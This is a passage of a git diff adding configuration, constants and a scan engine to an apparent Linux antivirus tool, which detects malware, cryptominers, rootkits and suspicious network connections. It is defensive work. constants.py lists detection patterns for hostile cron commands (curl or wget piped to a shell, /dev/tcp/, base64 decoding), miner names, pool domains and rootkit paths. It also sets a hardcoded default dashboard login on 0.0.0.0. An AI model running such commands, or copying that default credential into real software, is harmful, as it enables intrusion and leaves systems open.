"[red]failed[/red]" + if action.dry_run: + status_text = "[dim]pending[/dim]" + table.add_row( + str(idx), + action.action, + action.target, + status_text, + action.details[:40] if action.details else "", + ) + + console.print() + console.print(table) + + if dry_run: + console.print("\n[yellow]Dry run — no changes were made.[/yellow]") + else: + succeeded = sum(1 for a in all_actions if a.success) + console.print( + f"\n[green]✅ {succeeded}/{len(all_actions)} remediation action(s) applied.[/green]" + ) diff --git a/ayn-antivirus/ayn_antivirus/config.py b/ayn-antivirus/ayn_antivirus/config.py new file mode 100644 index 0000000..2c62181 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/config.py @@ -0,0 +1,142 @@ +"""Configuration loader for AYN Antivirus.""" + +from __future__ import annotations + +import os +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import yaml + +from ayn_antivirus.constants import ( + DEFAULT_CONFIG_PATHS, + DEFAULT_DASHBOARD_DB_PATH, + DEFAULT_DASHBOARD_HOST, + DEFAULT_DASHBOARD_PASSWORD, + DEFAULT_DASHBOARD_PORT, + DEFAULT_DASHBOARD_USERNAME, + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + MAX_FILE_SIZE, +) + + +@dataclass +class Config: + """Application configuration, loaded from YAML config files or environment variables.""" + + scan_paths: List[str] = field(default_factory=lambda: [DEFAULT_SCAN_PATH]) + exclude_paths: List[str] = field( + default_factory=lambda: ["/proc", "/sys", "/dev", "/run", "/snap"] + ) + quarantine_path: str = DEFAULT_QUARANTINE_PATH + db_path: str = DEFAULT_DB_PATH + log_path: str = DEFAULT_LOG_PATH + auto_quarantine: bool = False + scan_schedule: str = "0 2 * * *" + api_keys: Dict[str, str] = field(default_factory=dict) + max_file_size: int = MAX_FILE_SIZE + enable_yara: bool = True + enable_heuristics: bool = True + enable_realtime_monitor: bool = False + dashboard_host: str = DEFAULT_DASHBOARD_HOST + dashboard_port: int = DEFAULT_DASHBOARD_PORT + dashboard_db_path: str = DEFAULT_DASHBOARD_DB_PATH + dashboard_username: str = DEFAULT_DASHBOARD_USERNAME + dashboard_password: str = DEFAULT_DASHBOARD_PASSWORD + + @classmethod + def load(cls, config_path: Optional[str] = None) -> Config: + """Load configuration from a YAML file, then overlay environment variables. + + Search order: + 1. Explicit ``config_path`` argument. + 2. /etc/ayn-antivirus/config.yaml + 3. ~/.ayn-antivirus/config.yaml + 4. Environment variables (always applied last as overrides). + """ + data: Dict[str, Any] = {} + + paths_to_try = [config_path] if config_path else DEFAULT_CONFIG_PATHS + for path in paths_to_try: + if path and Path(path).is_file(): + with open(path, "r") as fh: + data = yaml.safe_load(fh) or {} + break + + defaults = cls() + config = cls( + scan_paths=data.get("scan_paths", defaults.scan_paths), + exclude_paths=data.get("exclude_paths", defaults.exclude_paths), + quarantine_path=data.get("quarantine_path", DEFAULT_QUARANTINE_PATH), + db_path=data.get("db_path", DEFAULT_DB_PATH), + log_path=data.get("log_path", DEFAULT_LOG_PATH), + auto_quarantine=data.get("auto_quarantine", False), + scan_schedule=data.get("scan_schedule", "0 2 * * *"), + api_keys=data.get("api_keys", {}), + max_file_size=data.get("max_file_size", MAX_FILE_SIZE), + enable_yara=data.get("enable_yara", True), + enable_heuristics=data.get("enable_heuristics", True), + enable_realtime_monitor=data.get("enable_realtime_monitor", False), + dashboard_host=data.get("dashboard_host", DEFAULT_DASHBOARD_HOST), + dashboard_port=data.get("dashboard_port", DEFAULT_DASHBOARD_PORT), + dashboard_db_path=data.get("dashboard_db_path", DEFAULT_DASHBOARD_DB_PATH), + dashboard_username=data.get("dashboard_username", DEFAULT_DASHBOARD_USERNAME), + dashboard_password=data.get("dashboard_password", DEFAULT_DASHBOARD_PASSWORD), + ) + + # --- Environment variable overrides --- + config._apply_env_overrides() + + return config + + def _apply_env_overrides(self) -> None: + """Override config fields with AYN_* environment variables when set.""" + if os.getenv("AYN_SCAN_PATH"): + self.scan_paths = [p.strip() for p in os.environ["AYN_SCAN_PATH"].split(",")] + + if os.getenv("AYN_QUARANTINE_PATH"): + self.quarantine_path = os.environ["AYN_QUARANTINE_PATH"] + + if os.getenv("AYN_DB_PATH"): + self.db_path = os.environ["AYN_DB_PATH"] + + if os.getenv("AYN_LOG_PATH"): + self.log_path = os.environ["AYN_LOG_PATH"] + + if os.getenv("AYN_AUTO_QUARANTINE"): + self.auto_quarantine = os.environ["AYN_AUTO_QUARANTINE"].lower() in ( + "true", + "1", + "yes", + ) + + if os.getenv("AYN_SCAN_SCHEDULE"): + self.scan_schedule = os.environ["AYN_SCAN_SCHEDULE"] + + if os.getenv("AYN_MALWAREBAZAAR_API_KEY"): + self.api_keys["malwarebazaar"] = os.environ["AYN_MALWAREBAZAAR_API_KEY"] + + if os.getenv("AYN_VIRUSTOTAL_API_KEY"): + self.api_keys["virustotal"] = os.environ["AYN_VIRUSTOTAL_API_KEY"] + + if os.getenv("AYN_MAX_FILE_SIZE"): + self.max_file_size = int(os.environ["AYN_MAX_FILE_SIZE"]) + + if os.getenv("AYN_DASHBOARD_HOST"): + self.dashboard_host = os.environ["AYN_DASHBOARD_HOST"] + + if os.getenv("AYN_DASHBOARD_PORT"): + self.dashboard_port = int(os.environ["AYN_DASHBOARD_PORT"]) + + if os.getenv("AYN_DASHBOARD_DB_PATH"): + self.dashboard_db_path = os.environ["AYN_DASHBOARD_DB_PATH"] + + if os.getenv("AYN_DASHBOARD_USERNAME"): + self.dashboard_username = os.environ["AYN_DASHBOARD_USERNAME"] + + if os.getenv("AYN_DASHBOARD_PASSWORD"): + self.dashboard_password = os.environ["AYN_DASHBOARD_PASSWORD"] diff --git a/ayn-antivirus/ayn_antivirus/constants.py b/ayn-antivirus/ayn_antivirus/constants.py new file mode 100644 index 0000000..14d44f7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/constants.py @@ -0,0 +1,161 @@ +"""Constants for AYN Antivirus.""" + +import os + +# --- Default Paths --- +DEFAULT_CONFIG_PATHS = [ + "/etc/ayn-antivirus/config.yaml", + os.path.expanduser("~/.ayn-antivirus/config.yaml"), +] +DEFAULT_SCAN_PATH = "/" +DEFAULT_QUARANTINE_PATH = "/var/lib/ayn-antivirus/quarantine" +DEFAULT_DB_PATH = "/var/lib/ayn-antivirus/signatures.db" +DEFAULT_LOG_PATH = "/var/log/ayn-antivirus/" +DEFAULT_YARA_RULES_DIR = os.path.join(os.path.dirname(__file__), "signatures", "yara_rules") +QUARANTINE_ENCRYPTION_KEY_FILE = "/var/lib/ayn-antivirus/.quarantine.key" + +# --- Database --- +DB_SCHEMA_VERSION = 1 + +# --- Scan Limits --- +SCAN_CHUNK_SIZE = 65536 # 64 KB +MAX_FILE_SIZE = 100 * 1024 * 1024 # 100 MB +HIGH_CPU_THRESHOLD = 80 # percent + +# --- Suspicious File Extensions --- +SUSPICIOUS_EXTENSIONS = [ + ".php", + ".sh", + ".py", + ".pl", + ".rb", + ".js", + ".exe", + ".elf", + ".bin", + ".so", + ".dll", +] + +# --- Crypto Miner Process Names --- +CRYPTO_MINER_PROCESS_NAMES = [ + "xmrig", + "minerd", + "cpuminer", + "ethminer", + "claymore", + "phoenixminer", + "nbminer", + "t-rex", + "gminer", + "lolminer", + "bfgminer", + "cgminer", + "ccminer", + "nicehash", + "excavator", + "nanominer", + "teamredminer", + "wildrig", + "srbminer", + "xmr-stak", + "randomx", + "cryptonight", +] + +# --- Crypto Pool Domains --- +CRYPTO_POOL_DOMAINS = [ + "pool.minergate.com", + "xmrpool.eu", + "nanopool.org", + "mining.pool.observer", + "supportxmr.com", + "pool.hashvault.pro", + "moneroocean.stream", + "minexmr.com", + "herominers.com", + "2miners.com", + "f2pool.com", + "ethermine.org", + "unmineable.com", + "nicehash.com", + "prohashing.com", + "zpool.ca", + "miningpoolhub.com", +] + +# --- Suspicious Mining Ports --- +SUSPICIOUS_PORTS = [ + 3333, + 4444, + 5555, + 7777, + 8888, + 9999, + 14433, + 14444, + 45560, + 45700, +] + +# --- Known Rootkit Files --- +KNOWN_ROOTKIT_FILES = [ + "/usr/lib/libproc.so", + "/usr/lib/libext-2.so", + "/usr/lib/libns2.so", + "/usr/lib/libpam.so.1", + "/dev/shm/.x", + "/dev/shm/.r", + "/tmp/.ICE-unix/.x", + "/tmp/.X11-unix/.x", + "/usr/bin/sourcemask", + "/usr/bin/sshd2", + "/usr/sbin/xntpd", + "/etc/cron.d/.hidden", + "/var/tmp/.bash_history", +] + +# --- Suspicious Cron Patterns --- +SUSPICIOUS_CRON_PATTERNS = [ + r"curl\s+.*\|\s*sh", + r"wget\s+.*\|\s*sh", + r"curl\s+.*\|\s*bash", + r"wget\s+.*\|\s*bash", + r"/dev/tcp/", + r"base64\s+--decode", + r"xmrig", + r"minerd", + r"cryptonight", + r"\bcurl\b.*-o\s*/tmp/", + r"\bwget\b.*-O\s*/tmp/", + r"nohup\s+.*&", + r"/dev/null\s+2>&1", +] + +# --- Malicious Environment Variables --- +MALICIOUS_ENV_VARS = [ + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "LD_AUDIT", + "LD_DEBUG", + "HISTFILE=/dev/null", + "PROMPT_COMMAND", + "BASH_ENV", + "ENV", + "CDPATH", +] + +# ── Dashboard ────────────────────────────────────────────────────────── +DEFAULT_DASHBOARD_HOST = "0.0.0.0" +DEFAULT_DASHBOARD_PORT = 7777 +DEFAULT_DASHBOARD_DB_PATH = "/var/lib/ayn-antivirus/dashboard.db" +DASHBOARD_COLLECTOR_INTERVAL = 10 # seconds between metric samples +DASHBOARD_REFRESH_INTERVAL = 30 # JS auto-refresh seconds +DASHBOARD_MAX_THREATS_DISPLAY = 50 +DASHBOARD_MAX_LOG_LINES = 20 +DASHBOARD_SCAN_HISTORY_DAYS = 30 +DASHBOARD_METRIC_RETENTION_HOURS = 168 # 7 days + +# Dashboard authentication +DEFAULT_DASHBOARD_USERNAME = "admin" +DEFAULT_DASHBOARD_PASSWORD = "ayn@2024" diff --git a/ayn-antivirus/ayn_antivirus/core/__init__.py b/ayn-antivirus/ayn_antivirus/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/core/engine.py b/ayn-antivirus/ayn_antivirus/core/engine.py new file mode 100644 index 0000000..1543607 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/engine.py @@ -0,0 +1,917 @@ +"""Core scan engine for AYN Antivirus. + +Orchestrates file-system, process, and network scanning by delegating to +pluggable detectors (hash lookup, YARA, heuristic) and emitting events via +the :pymod:`event_bus`. +""" + +from __future__ import annotations + +import logging +import os +import time +import uuid +from concurrent.futures import ThreadPoolExecutor, as_completed +from dataclasses import dataclass, field +from datetime import datetime +from enum import Enum, auto +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional, Protocol + +from ayn_antivirus.config import Config +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Enums +# --------------------------------------------------------------------------- + + +class ThreatType(Enum): + """Classification of a detected threat.""" + + VIRUS = auto() + MALWARE = auto() + SPYWARE = auto() + MINER = auto() + ROOTKIT = auto() + + +class Severity(Enum): + """Threat severity level, ordered low → critical.""" + + LOW = 1 + MEDIUM = 2 + HIGH = 3 + CRITICAL = 4 + + +class ScanType(Enum): + """Kind of scan that was executed.""" + + FULL = "full" + QUICK = "quick" + DEEP = "deep" + SINGLE_FILE = "single_file" + TARGETED = "targeted" + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + + +@dataclass +class ThreatInfo: + """A single threat detected during a file scan.""" + + path: str + threat_name: str + threat_type: ThreatType + severity: Severity + detector_name: str + details: str = "" + timestamp: datetime = field(default_factory=datetime.utcnow) + file_hash: str = "" + + +@dataclass +class FileScanResult: + """Result of scanning a single file.""" + + path: str + scanned: bool = True + file_hash: str = "" + size: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + error: Optional[str] = None + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 and self.error is None + + +@dataclass +class ProcessThreat: + """A suspicious process discovered at runtime.""" + + pid: int + name: str + cmdline: str + cpu_percent: float + memory_percent: float + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class NetworkThreat: + """A suspicious network connection.""" + + local_addr: str + remote_addr: str + pid: Optional[int] + process_name: str + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class ScanResult: + """Aggregated result of a path / multi-file scan.""" + + scan_id: str = field(default_factory=lambda: uuid.uuid4().hex[:12]) + start_time: datetime = field(default_factory=datetime.utcnow) + end_time: Optional[datetime] = None + files_scanned: int = 0 + files_skipped: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + scan_path: str = "" + scan_type: ScanType = ScanType.FULL + + @property + def duration_seconds(self) -> float: + if self.end_time is None: + return 0.0 + return (self.end_time - self.start_time).total_seconds() + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class ProcessScanResult: + """Aggregated result of a process scan.""" + + processes_scanned: int = 0 + threats: List[ProcessThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_processes(self) -> int: + """Alias for processes_scanned (backward compat).""" + return self.processes_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class NetworkScanResult: + """Aggregated result of a network scan.""" + + connections_scanned: int = 0 + threats: List[NetworkThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_connections(self) -> int: + """Alias for connections_scanned (backward compat).""" + return self.connections_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class FullScanResult: + """Combined results from a full scan (files + processes + network + containers).""" + + file_scan: ScanResult = field(default_factory=ScanResult) + process_scan: ProcessScanResult = field(default_factory=ProcessScanResult) + network_scan: NetworkScanResult = field(default_factory=NetworkScanResult) + container_scan: Any = None # Optional[ContainerScanResult] + + @property + def total_threats(self) -> int: + count = ( + len(self.file_scan.threats) + + len(self.process_scan.threats) + + len(self.network_scan.threats) + ) + if self.container_scan is not None: + count += len(self.container_scan.threats) + return count + + @property + def is_clean(self) -> bool: + return self.total_threats == 0 + + +# --------------------------------------------------------------------------- +# Detector protocol (for type hints & documentation) +# --------------------------------------------------------------------------- + + +class _Detector(Protocol): + """Any object with a ``detect()`` method matching the BaseDetector API.""" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> list: ... + + +# --------------------------------------------------------------------------- +# Helper: file hashing +# --------------------------------------------------------------------------- + +def _hash_file(filepath: Path, algo: str = "sha256") -> str: + """Return the hex digest of *filepath*. + + Delegates to :func:`ayn_antivirus.utils.helpers.hash_file`. + """ + return _hash_file_util(filepath, algo) + + +# --------------------------------------------------------------------------- +# Detector result → engine dataclass mapping +# --------------------------------------------------------------------------- + +_THREAT_TYPE_MAP = { + "VIRUS": ThreatType.VIRUS, + "MALWARE": ThreatType.MALWARE, + "SPYWARE": ThreatType.SPYWARE, + "MINER": ThreatType.MINER, + "ROOTKIT": ThreatType.ROOTKIT, + "HEURISTIC": ThreatType.MALWARE, +} + +_SEVERITY_MAP = { + "CRITICAL": Severity.CRITICAL, + "HIGH": Severity.HIGH, + "MEDIUM": Severity.MEDIUM, + "LOW": Severity.LOW, +} + + +def _map_threat_type(raw: str) -> ThreatType: + """Convert a detector's threat-type string to :class:`ThreatType`.""" + return _THREAT_TYPE_MAP.get(raw.upper(), ThreatType.MALWARE) + + +def _map_severity(raw: str) -> Severity: + """Convert a detector's severity string to :class:`Severity`.""" + return _SEVERITY_MAP.get(raw.upper(), Severity.MEDIUM) + + +# --------------------------------------------------------------------------- +# Quick-scan target directories +# --------------------------------------------------------------------------- + +QUICK_SCAN_PATHS = [ + "/tmp", + "/var/tmp", + "/dev/shm", + "/usr/local/bin", + "/var/spool/cron", + "/etc/cron.d", + "/etc/cron.daily", + "/etc/crontab", + "/var/www", + "/srv", +] + + +# --------------------------------------------------------------------------- +# ScanEngine +# --------------------------------------------------------------------------- + +class ScanEngine: + """Central orchestrator for all AYN scanning activities. + + The engine walks the file system, delegates to pluggable detectors, tracks + statistics, and publishes events on the global :pydata:`event_bus`. + + Parameters + ---------- + config: + Application configuration instance. + max_workers: + Thread pool size for parallel file scanning. Defaults to + ``min(os.cpu_count(), 8)``. + """ + + def __init__(self, config: Config, max_workers: int | None = None) -> None: + self.config = config + self.max_workers = max_workers or min(os.cpu_count() or 4, 8) + + # Detector registry — populated by external plug-ins via register_detector(). + # Each detector is a callable: (filepath: Path, cfg: Config) -> List[ThreatInfo] + self._detectors: List[_Detector] = [] + + self._init_builtin_detectors() + + # ------------------------------------------------------------------ + # Detector registration + # ------------------------------------------------------------------ + + def register_detector(self, detector: _Detector) -> None: + """Add a detector to the scanning pipeline.""" + self._detectors.append(detector) + + def _init_builtin_detectors(self) -> None: + """Register all built-in detection engines.""" + from ayn_antivirus.detectors.signature_detector import SignatureDetector + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + + try: + sig_det = SignatureDetector(db_path=self.config.db_path) + self.register_detector(sig_det) + except Exception as e: + logger.warning("Failed to load SignatureDetector: %s", e) + + try: + self.register_detector(HeuristicDetector()) + except Exception as e: + logger.warning("Failed to load HeuristicDetector: %s", e) + + try: + self.register_detector(CryptominerDetector()) + except Exception as e: + logger.warning("Failed to load CryptominerDetector: %s", e) + + try: + self.register_detector(SpywareDetector()) + except Exception as e: + logger.warning("Failed to load SpywareDetector: %s", e) + + try: + self.register_detector(RootkitDetector()) + except Exception as e: + logger.warning("Failed to load RootkitDetector: %s", e) + + if self.config.enable_yara: + try: + from ayn_antivirus.detectors.yara_detector import YaraDetector + yara_det = YaraDetector() + self.register_detector(yara_det) + except Exception as e: + logger.debug("YARA detector not available: %s", e) + + logger.info("Registered %d detectors", len(self._detectors)) + + # ------------------------------------------------------------------ + # File scanning + # ------------------------------------------------------------------ + + def scan_file(self, filepath: str | Path) -> FileScanResult: + """Scan a single file through every registered detector. + + Parameters + ---------- + filepath: + Absolute or relative path to the file. + + Returns + ------- + FileScanResult + """ + filepath = Path(filepath) + result = FileScanResult(path=str(filepath)) + + if not filepath.is_file(): + result.scanned = False + result.error = "Not a file or does not exist" + return result + + try: + stat = filepath.stat() + except OSError as exc: + result.scanned = False + result.error = str(exc) + return result + + result.size = stat.st_size + + if result.size > self.config.max_file_size: + result.scanned = False + result.error = f"File exceeds max size ({result.size} > {self.config.max_file_size})" + return result + + # Hash the file — needed by hash-based detectors and for recording. + try: + result.file_hash = _hash_file(filepath) + except OSError as exc: + result.scanned = False + result.error = f"Cannot read file: {exc}" + return result + + # Enrich with FileScanner metadata (type classification). + try: + from ayn_antivirus.scanners.file_scanner import FileScanner + file_scanner = FileScanner(max_file_size=self.config.max_file_size) + file_info = file_scanner.scan(str(filepath)) + result._file_info = file_info # type: ignore[attr-defined] + except Exception: + logger.debug("FileScanner enrichment skipped for %s", filepath) + + # Run every registered detector. + for detector in self._detectors: + try: + detections = detector.detect(filepath, file_hash=result.file_hash) + for d in detections: + threat = ThreatInfo( + path=str(filepath), + threat_name=d.threat_name, + threat_type=_map_threat_type(d.threat_type), + severity=_map_severity(d.severity), + detector_name=d.detector_name, + details=d.details, + file_hash=result.file_hash, + ) + result.threats.append(threat) + except Exception: + logger.exception("Detector %r failed on %s", detector, filepath) + + # Publish per-file events. + event_bus.publish(EventType.FILE_SCANNED, result) + if result.threats: + for threat in result.threats: + event_bus.publish(EventType.THREAT_FOUND, threat) + + return result + + # ------------------------------------------------------------------ + # Path scanning (recursive) + # ------------------------------------------------------------------ + + def scan_path( + self, + path: str | Path, + recursive: bool = True, + quick: bool = False, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Walk *path* and scan every eligible file. + + Parameters + ---------- + path: + Root directory (or single file) to scan. + recursive: + Descend into subdirectories. + quick: + If ``True``, only scan :pydata:`QUICK_SCAN_PATHS` that exist + under *path* (or the quick-scan list itself when *path* is ``/``). + callback: + Optional function called after each file is scanned — useful for + progress reporting. + + Returns + ------- + ScanResult + """ + scan_type = ScanType.QUICK if quick else ScanType.FULL + result = ScanResult( + scan_path=str(path), + scan_type=scan_type, + start_time=datetime.utcnow(), + ) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": result.scan_id, + "scan_type": scan_type.value, + "path": str(path), + }) + + # Collect files to scan. + files = self._collect_files(Path(path), recursive=recursive, quick=quick) + + # Parallel scan. + with ThreadPoolExecutor(max_workers=self.max_workers) as pool: + futures = {pool.submit(self.scan_file, fp): fp for fp in files} + for future in as_completed(futures): + try: + file_result = future.result() + except Exception: + result.files_skipped += 1 + logger.exception("Unhandled error scanning %s", futures[future]) + continue + + if file_result.scanned: + result.files_scanned += 1 + else: + result.files_skipped += 1 + + result.threats.extend(file_result.threats) + + if callback is not None: + try: + callback(file_result) + except Exception: + logger.exception("Scan callback raised an exception") + + result.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": result.scan_id, + "files_scanned": result.files_scanned, + "threats": len(result.threats), + "duration": result.duration_seconds, + }) + + return result + + # ------------------------------------------------------------------ + # Process scanning + # ------------------------------------------------------------------ + + def scan_processes(self) -> ProcessScanResult: + """Inspect all running processes for known miners and anomalies. + + Delegates to :class:`~ayn_antivirus.scanners.process_scanner.ProcessScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + ProcessScanResult + """ + from ayn_antivirus.scanners.process_scanner import ProcessScanner + + result = ProcessScanResult() + start = time.monotonic() + + proc_scanner = ProcessScanner() + scan_data = proc_scanner.scan() + + result.processes_scanned = scan_data.get("total", 0) + + # Known miner matches. + for s in scan_data.get("suspicious", []): + threat = ProcessThreat( + pid=s["pid"], + name=s.get("name", ""), + cmdline=" ".join(s.get("cmdline") or []), + cpu_percent=s.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.CRITICAL, + details=s.get("reason", "Known miner process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # High-CPU anomalies (skip duplicates already caught as miners). + miner_pids = {t.pid for t in result.threats} + for h in scan_data.get("high_cpu", []): + if h["pid"] in miner_pids: + continue + threat = ProcessThreat( + pid=h["pid"], + name=h.get("name", ""), + cmdline=" ".join(h.get("cmdline") or []), + cpu_percent=h.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.HIGH, + details=h.get("reason", "Abnormally high CPU usage"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Hidden processes (possible rootkit). + for hp in scan_data.get("hidden", []): + threat = ProcessThreat( + pid=hp["pid"], + name=hp.get("name", ""), + cmdline=hp.get("cmdline", ""), + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.CRITICAL, + details=hp.get("reason", "Hidden process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Optional memory scan for suspicious PIDs. + try: + from ayn_antivirus.scanners.memory_scanner import MemoryScanner + mem_scanner = MemoryScanner() + suspicious_pids = {t.pid for t in result.threats} + for pid in suspicious_pids: + try: + mem_result = mem_scanner.scan(pid) + rwx_regions = mem_result.get("rwx_regions") or [] + if rwx_regions: + result.threats.append(ProcessThreat( + pid=pid, + name="", + cmdline="", + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.HIGH, + details=( + f"Injected code detected in PID {pid}: " + f"{len(rwx_regions)} RWX region(s)" + ), + )) + except Exception: + pass # Memory scan for individual PID is best-effort + except Exception as exc: + logger.debug("Memory scan skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Network scanning + # ------------------------------------------------------------------ + + def scan_network(self) -> NetworkScanResult: + """Scan active network connections for mining pool traffic. + + Delegates to :class:`~ayn_antivirus.scanners.network_scanner.NetworkScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + NetworkScanResult + """ + from ayn_antivirus.scanners.network_scanner import NetworkScanner + + result = NetworkScanResult() + start = time.monotonic() + + net_scanner = NetworkScanner() + scan_data = net_scanner.scan() + + result.connections_scanned = scan_data.get("total", 0) + + # Suspicious connections (mining pools, suspicious ports). + for s in scan_data.get("suspicious", []): + sev = _map_severity(s.get("severity", "HIGH")) + threat = NetworkThreat( + local_addr=s.get("local_addr", "?"), + remote_addr=s.get("remote_addr", "?"), + pid=s.get("pid"), + process_name=(s.get("process", {}) or {}).get("name", ""), + threat_type=ThreatType.MINER, + severity=sev, + details=s.get("reason", "Suspicious connection"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Unexpected listening ports. + for lp in scan_data.get("unexpected_listeners", []): + threat = NetworkThreat( + local_addr=lp.get("local_addr", f"?:{lp.get('port', '?')}"), + remote_addr="", + pid=lp.get("pid"), + process_name=lp.get("process_name", ""), + threat_type=ThreatType.MALWARE, + severity=_map_severity(lp.get("severity", "MEDIUM")), + details=lp.get("reason", "Unexpected listener"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Enrich with IOC database lookups — flag connections to known-bad IPs. + try: + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + ioc_db = IOCDatabase(self.config.db_path) + ioc_db.initialize() + malicious_ips = ioc_db.get_all_malicious_ips() + + if malicious_ips: + import psutil as _psutil + already_flagged = { + t.remote_addr for t in result.threats + } + try: + for conn in _psutil.net_connections(kind="inet"): + if not conn.raddr: + continue + remote_ip = conn.raddr.ip + remote_str = f"{remote_ip}:{conn.raddr.port}" + if remote_ip in malicious_ips and remote_str not in already_flagged: + ioc_info = ioc_db.lookup_ip(remote_ip) or {} + result.threats.append(NetworkThreat( + local_addr=( + f"{conn.laddr.ip}:{conn.laddr.port}" + if conn.laddr else "" + ), + remote_addr=remote_str, + pid=conn.pid or 0, + process_name=self._get_proc_name(conn.pid), + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + details=( + f"Connection to known malicious IP {remote_ip} " + f"(threat: {ioc_info.get('threat_name', 'IOC match')})" + ), + )) + except (_psutil.AccessDenied, OSError): + pass + + ioc_db.close() + except Exception as exc: + logger.debug("IOC network enrichment skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _get_proc_name(pid: int) -> str: + """Best-effort process name lookup for a PID.""" + if not pid: + return "" + try: + import psutil as _ps + return _ps.Process(pid).name() + except Exception: + return "" + + # ------------------------------------------------------------------ + # Container scanning + # ------------------------------------------------------------------ + + def scan_containers( + self, + runtime: str = "all", + container_id: Optional[str] = None, + ): + """Scan containers for threats. + + Parameters + ---------- + runtime: + Container runtime to target (``"all"``, ``"docker"``, + ``"podman"``, ``"lxc"``). + container_id: + If provided, scan only this specific container. + + Returns + ------- + ContainerScanResult + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + if container_id: + return scanner.scan_container(container_id) + return scanner.scan(runtime) + + # ------------------------------------------------------------------ + # Composite scans + # ------------------------------------------------------------------ + + def full_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> FullScanResult: + """Run a complete scan: files, processes, and network. + + Parameters + ---------- + callback: + Optional per-file progress callback. + + Returns + ------- + FullScanResult + """ + full = FullScanResult() + + # File scan across all configured paths. + aggregate = ScanResult(scan_type=ScanType.FULL, start_time=datetime.utcnow()) + for scan_path in self.config.scan_paths: + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + aggregate.end_time = datetime.utcnow() + full.file_scan = aggregate + + # Process + network. + full.process_scan = self.scan_processes() + full.network_scan = self.scan_network() + + # Containers (best-effort — skipped if no runtimes available). + try: + container_result = self.scan_containers() + if container_result.containers_found > 0: + full.container_scan = container_result + except Exception: + logger.debug("Container scanning skipped", exc_info=True) + + return full + + def quick_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Scan only high-risk directories. + + Targets :pydata:`QUICK_SCAN_PATHS` and any additional web roots + or crontab locations. + + Returns + ------- + ScanResult + """ + aggregate = ScanResult(scan_type=ScanType.QUICK, start_time=datetime.utcnow()) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": aggregate.scan_id, + "scan_type": "quick", + "paths": QUICK_SCAN_PATHS, + }) + + for scan_path in QUICK_SCAN_PATHS: + p = Path(scan_path) + if not p.exists(): + continue + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + + aggregate.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": aggregate.scan_id, + "files_scanned": aggregate.files_scanned, + "threats": len(aggregate.threats), + "duration": aggregate.duration_seconds, + }) + + return aggregate + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _collect_files( + self, + root: Path, + recursive: bool = True, + quick: bool = False, + ) -> List[Path]: + """Walk *root* and return a list of scannable file paths. + + Respects ``config.exclude_paths`` and ``config.max_file_size``. + """ + targets: List[Path] = [] + + if quick: + # In quick mode, only descend into known-risky subdirectories. + roots = [ + root / rel + for 